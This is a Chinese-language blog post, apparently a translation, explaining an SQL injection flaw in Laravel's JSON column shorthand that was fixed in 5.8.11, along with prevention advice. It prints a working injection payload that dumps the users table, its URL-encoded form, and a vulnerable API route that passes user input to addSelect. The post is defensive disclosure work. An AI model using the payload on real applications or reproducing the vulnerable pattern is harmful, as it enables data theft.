我最近了解到并非Laravel中的所有查询构建器功能都是“安全的”。这意味着不应将用户输入直接传递给它,因为它可能会将您的应用程序暴露给SQL注入漏洞。

过去几天很明显,社区对这些不安全的功能知之甚少。许多开发人员和我一样认为,Laravel查询构建器完全阻止了SQL注入攻击。

这篇博文旨在提高人们对什么是安全的,哪些不安全的意识。

SQL注入漏洞?

让我们首先提一下Laravel 5.8.11开始修复此漏洞。虽然从技术上讲我们可以称之为“漏洞”,但Laravel开发人员应该知道他们也在防止这类问题方面发挥作用。

我们来看看这个问题吧。

Laravel能够手动指定在查询中选择哪些列。它还提供了查询JSON数据的简写表示法:

Blog::query()
    ->addSelect('title->en');
SELECT json_extract(`title`, '$."en"') FROM blogs;

json_extract我们可以使用简化的->语法,而不是手动编写,Laravel将转换为正确的SQL语句。

但要小心:Laravel在转换过程中不会进行任何转义。请考虑以下示例:

Blog::query()
    ->addSelect('title->en'#');

通过'#在我们的输入中插入,我们可以手动关闭该json_extract函数,并忽略查询的其余部分:

SELECT json_extract(`title`, '$."en'#"') FROM blogs;

由于语法错误,此查询将失败,但下一个查询呢?

SELECT json_extract(
    `title`, 
    '$."en"')) 
FROM blogs RIGHT OUTER JOIN users ON users.id <> null
#
    "') FROM blogs;

我们在users桌面上添加了一个外连接。基本上选择其中的所有数据。

作为参考,这是恶意代码的URL编码版本:

%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

假设我们的应用程序中有以下端点,用于从公共API查询博客帖子:

Route::get('/posts', function (Request $request) {
    $fields = $request->get('fields', []);

    $users = Blog::query()->addSelect($fields)->get();

    return response()->json($users);
});

此API的消费者可能只对几个字段感兴趣,这就是我们添加fields过滤器的原因。与JSON api规范中的稀疏字段集类似的东西。

现在可以像这样使用端点:

/blog?fields[]=url&fields[]=title

现在我们插入恶意代码:

/blog?fields[]=%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23

它将被添加到查询中。通过将查询结果作为JSON返回,我们将看到users表的完整内容。

Blog::query()->addSelect([
    '%22%27%29%29+FROM+blogs+RIGHT+OUTER+JOIN+users+ON+users.id+%3C%3E+null%23'
])->get();

要使这种攻击成为可能,需要做两件事:

  • 一个可访问的API端点,允许攻击者将其恶意代码传递给selectaddSelect。您可能无法在项目中手动执行此操作。虽然有一些流行的软件包可以为简单的API端点和URL过滤提供此功能。
  • 入口点表必须具有包含JSON数据的列。否则该json_extract函数将失败,停止我们的查询。但从入口点开始,您可以访问所有数据。

预防?

如前所述,自Laravel 5.8.11起,此特定漏洞已得到修复。随时了解最新的Laravel版本总是很好的。

更重要的是,开发人员不应该直接允许用户输入指定列,而不是白名单。在我们之前的示例中,您可以通过仅允许请求某些字段来防止此攻击,这将完全阻止此问题。

接下来,我们广泛使用的一个包,由设计spatie/laravel-querybuilder开放addSelect。这意味着使用我们的软件包的网站容易受到潜在问题的影响。我们立即修复了它,Freek 深入地写了这篇文章。如果您正在使用我们的软件包并且无法更新到最新的Laravel版本,则应立即更新软件包。

最后,Laravel文档也已更新,以警告开发人员在使用查询构建器时不要将用户输入直接传递给列。

Laravel中的不安全SQL函数
标签: